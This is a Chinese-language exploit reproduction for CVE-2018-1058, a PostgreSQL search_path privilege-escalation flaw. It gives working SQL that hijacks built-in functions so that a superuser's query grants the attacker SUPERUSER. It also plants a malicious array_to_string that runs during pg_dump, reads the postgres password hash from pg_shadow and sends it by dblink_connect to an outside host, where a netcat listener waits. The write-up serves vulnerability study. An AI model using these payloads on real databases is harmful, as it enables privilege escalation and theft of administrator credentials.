menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2018-1058)PostgreSQL 提权漏洞 chevron_right (CVE-2018-1058)PostgreSQL 提权漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2018-1058)PostgreSQL 提权漏洞.md
    8.8 KB / 2021-07-15 20:02:06
        (CVE-2018-1058)PostgreSQL 提权漏洞
    ====================================
    
    一、漏洞简介
    ------------
    
    PostgreSQL
    是一款关系型数据库。其9.3到10版本中存在一个逻辑错误,导致超级用户在不知情的情况下触发普通用户创建的恶意代码,导致执行一些不可预期的操作。
    
    二、漏洞影响
    ------------
    
    PostgreSQL 9.3-10
    
    三、复现过程
    ------------
    
    ### 利用方式
    
    在Postgres的commit记录中,有如下[commit](https://github.com/postgres/postgres/commit/5770172cb0c9df9e6ce27c507b449557e5b45124):
    
        As special exceptions, the following client applications behave as documented
        regardless of search_path settings and schema privileges: clusterdb
        createdb createlang createuser dropdb droplang dropuser ecpg (not
        programs it generates) initdb oid2name pg_archivecleanup pg_basebackup
        pg_config pg_controldata pg_ctl pg_dump pg_dumpall pg_isready
        pg_receivewal pg_recvlogical pg_resetwal pg_restore pg_rewind pg_standby
        pg_test_fsync pg_test_timing pg_upgrade pg_waldump reindexdb vacuumdb
        vacuumlo.  Not included are core client programs that run user-specified
        SQL commands, namely psql and pgbench.
    
    上面的commit提到了两类的client
    applications。下文的较为直观的利用方式一是针对第二类client
    applications(比如psql),然后利用方式二是通过第一类client
    applications来执行任意代码,相比较下更为隐蔽。
    
    ### 利用方式一
    
    在系统schema`pg_catalog`中,定义了大量的函数,用pgAdmin3查看:
    
    ![1.png](./resource/(CVE-2018-1058)PostgreSQL提权漏洞/media/rId27.png)
    
    以函数abs系列为例,接受一个类型为bigint\\smallint\\intger\\real\\double
    precision\\numeric的参数,返回其绝对值。倘若我们传送一个非数值类型的参数呢,比如text,
    
        evil=> select abs('chybeta');
    
    由于并没有参数类型为text的abs函数,会直接报错:
    
    ![2.png](./resource/(CVE-2018-1058)PostgreSQL提权漏洞/media/rId28.png)
    
    但postgres提供了自定义函数的功能!我们创建如下函数:
    
        CREATE FUNCTION public.abs(TEXT) RETURNS TEXT AS $$
             SELECT 'you are hacked by ' || $1;
        $$ LANGUAGE SQL IMMUTABLE;
    
    当我们再次执行同样的查询语句,根据postgres的设计流程,它会先去查找系统schema`pg_catalog`,但由于参数类型不同没有找到,接着按照`search_path`中的顺序查找,而我们定义的`abs(text)`存在于schema`public`中,参数符合,因此pg理所当然地执行了我们定义的函数:
    
    ![3.png](./resource/(CVE-2018-1058)PostgreSQL提权漏洞/media/rId29.png)
    
    注意一个点,这个函数是定义在schema`public`中的,也就是说对于进入到这个数据库的任何用户,只要他们调用了abs,且参数为text,都有可能会诱发恶意的代码执行。比如以超级用户postgres执行:
    
    ![4.png](./resource/(CVE-2018-1058)PostgreSQL提权漏洞/media/rId30.png)
    
    不过有谁会傻乎乎的去运行一个莫名其妙的abs(text)呢?因此真正的攻击手段是将过程隐藏到看似正常的数据库查询中。这次我们选择schema`pg_catalog`中的另外一类函数比如lower(text),upper(text),它们分别将text类型的参数转成小写和大写,不过系统没有提供接受varchar参数的lower和upper,尽管可以进行类型转换,但对pg而言,最好的选择当然是参数类型恰好符合的恶意自定义函数。
    
    创建一个表,值的类型为varchar:
    
        CREATE TABLE public.hahahaha AS SELECT 'CHYBETA'::varchar AS contents;
    
    创建对应的恶意函数:
    
        CREATE FUNCTION public.lower(varchar) RETURNS TEXT AS $$
             SELECT 'you are hacked by ' || $1;
        $$ LANGUAGE SQL IMMUTABLE;
    
    对绝大部分用户而言,他们可能看大写的`CHYBETA`不爽,然后执行了lower函数,但在不知道/清楚类型的情况下,他们执行的是public中的恶意自定义函数。
    
    ![5.png](./resource/(CVE-2018-1058)PostgreSQL提权漏洞/media/rId31.png)
    
    只能打印`you are hacked by XXX`有毛用!!由于恶意自定义函数可以被超级用户调用到,因此也就有了相应的执行权限,最简单的比如提权。
    
    先来看看权限情况(以超级用户为例),可以看到只有postgres的rolsuper是t,即true:
    
    ![6.png](./resource/(CVE-2018-1058)PostgreSQL提权漏洞/media/rId32.png)
    
    在用户chybeta登陆进evil数据库后,他创建了如下`upper函数`:
    
        CREATE FUNCTION public.upper(varchar) RETURNS TEXT AS $$
            ALTER ROLE chybeta SUPERUSER;
            SELECT pg_catalog.upper($1);
        $$ LANGUAGE SQL VOLATILE;
    
    ![7.png](./resource/(CVE-2018-1058)PostgreSQL提权漏洞/media/rId33.png)
    
    注意这里是`VOLATILE`,具体原因参考
    [官方文档:xfunc-volatility](https://www.postgresql.org/docs/8.2/static/xfunc-volatility.html)
    
    另外一张table,小写的chybeta:
    
        CREATE TABLE public.hehehehe AS SELECT 'chybeta'::varchar AS contents;
    
    管理员一看,心中不爽:小写小写就知道小写,然后:
    
    ![8.png](./resource/(CVE-2018-1058)PostgreSQL提权漏洞/media/rId35.png)
    
    看上去一切正常,大写的大写。回到用户chybeta处,查看一下权限:
    
    ![9.png](./resource/(CVE-2018-1058)PostgreSQL提权漏洞/media/rId36.png)
    
    已经成为超级用户。
    
    利用方法有很多,理论上只要能创建恶意函数,管理员调用,就是以管理员身份去执行恶意sql语句/代码。在这种情况中,如commit所说`Not included are core client programs that run user-specified SQL commands, namely psql and pgbench.`,被攻击用户是知道自己执行的sql语句,只是其中的某个function意义被掉包了。
    
    ### 利用方式二
    
    安装完PostgreSQL后还会有一系列的工具,比如pg\_dump、pg\_dumpall等等。基于利用方式一,在创建了恶意函数的基础之上,可以通过这些工具来执行恶意函数。这些工具在执行过程中会动态设定`search_path`,导致`public`的优先级比`pg_catalog`高,也就是说即使是在相同类型相同参数相同函数名的情况下,会选择`public`中的函数。相比第一种而言隐蔽性更强,同时有更高的可触发性。
    
    为利用pg\_dump中的sql语句,可以利用log来观察执行过程。在superuser的权限下`show log_directory;`找到log目录,将目录下postgresql.conf中的约莫455行改为`log_statement = all`。重启PostgreSQL后,使用pg\_dump工具执行备份命令:
    
        pg_dump -U postgres -f evil.bak evil
    
    同时观察log输出,查找`statement: SET search_path =`,最后在某处我发现了一段这样的log:![10.png](./resource/(CVE-2018-1058)PostgreSQL提权漏洞/media/rId38.png)
    
    可以看到在这段log中,有一处的`array_to_string`是没有指定schema的。在系统schema中它的定义如下:
    
    ![11.png](./resource/(CVE-2018-1058)PostgreSQL提权漏洞/media/rId39.png)
    
    在这里由于已经设定了`search_path`,为了能直接适配,这里创建的恶意函数的参数个数和类型都必须和`pg_catalog`中定义的相同,倘若不同则会按顺序匹配到正确的函数。
    
    因为pg\_dump在运行过程中开启的是`read only transaction`,根据[官方文档](https://www.postgresql.org/docs/9.1/static/sql-set-transaction.html):
    
        The transaction access mode determines whether the transaction is read/write or read-only. Read/write is the default. When a transaction is read-only, the following SQL commands are disallowed: INSERT, UPDATE, DELETE, and COPY FROM if the table they would write to is not a temporary table; all CREATE, ALTER, and DROP commands; COMMENT, GRANT, REVOKE, TRUNCATE; and EXPLAIN ANALYZE and EXECUTE if the command they would execute is among those listed. This is a high-level notion of read-only that does not prevent all writes to disk.
    
    是不允许执行下类操作的:
    
    1.  INSERT, UPDATE, DELETE, COPY FROM
    2.  all CREATE, ALTER, and DROP commands
    3.  COMMENT, GRANT, REVOKE, TRUNCATE; and EXPLAIN ANALYZE and EXECUTE if
        the command they would execute is among those listed
    
    不过并没有禁止`select`语句。如果开启了dblink,则可以利用查询来带出数据,比如用dblink\_connect。因此我们创建这样的一个恶意函数:
    
        CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
            select dblink_connect((select 'hostaddr=192.168.248.132 port=12345 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres'))); 
            SELECT pg_catalog.array_to_string($1,$2);
        $$ LANGUAGE SQL VOLATILE;
    
    远程vps上监听:
    
        nc -lvv 12345
    
    当管理员进行数据库备份时:
    
        pg_dump -U postgres -f evil.bak evil
    
    ![12.png](./resource/(CVE-2018-1058)PostgreSQL提权漏洞/media/rId41.png)
    
    即可得到管理员密码:
    
    ![13.png](./resource/(CVE-2018-1058)PostgreSQL提权漏洞/media/rId42.png)
    
    参考链接
    --------
    
    > https://xz.aliyun.com/t/2109\#toc-1
    
    
    links
    file_download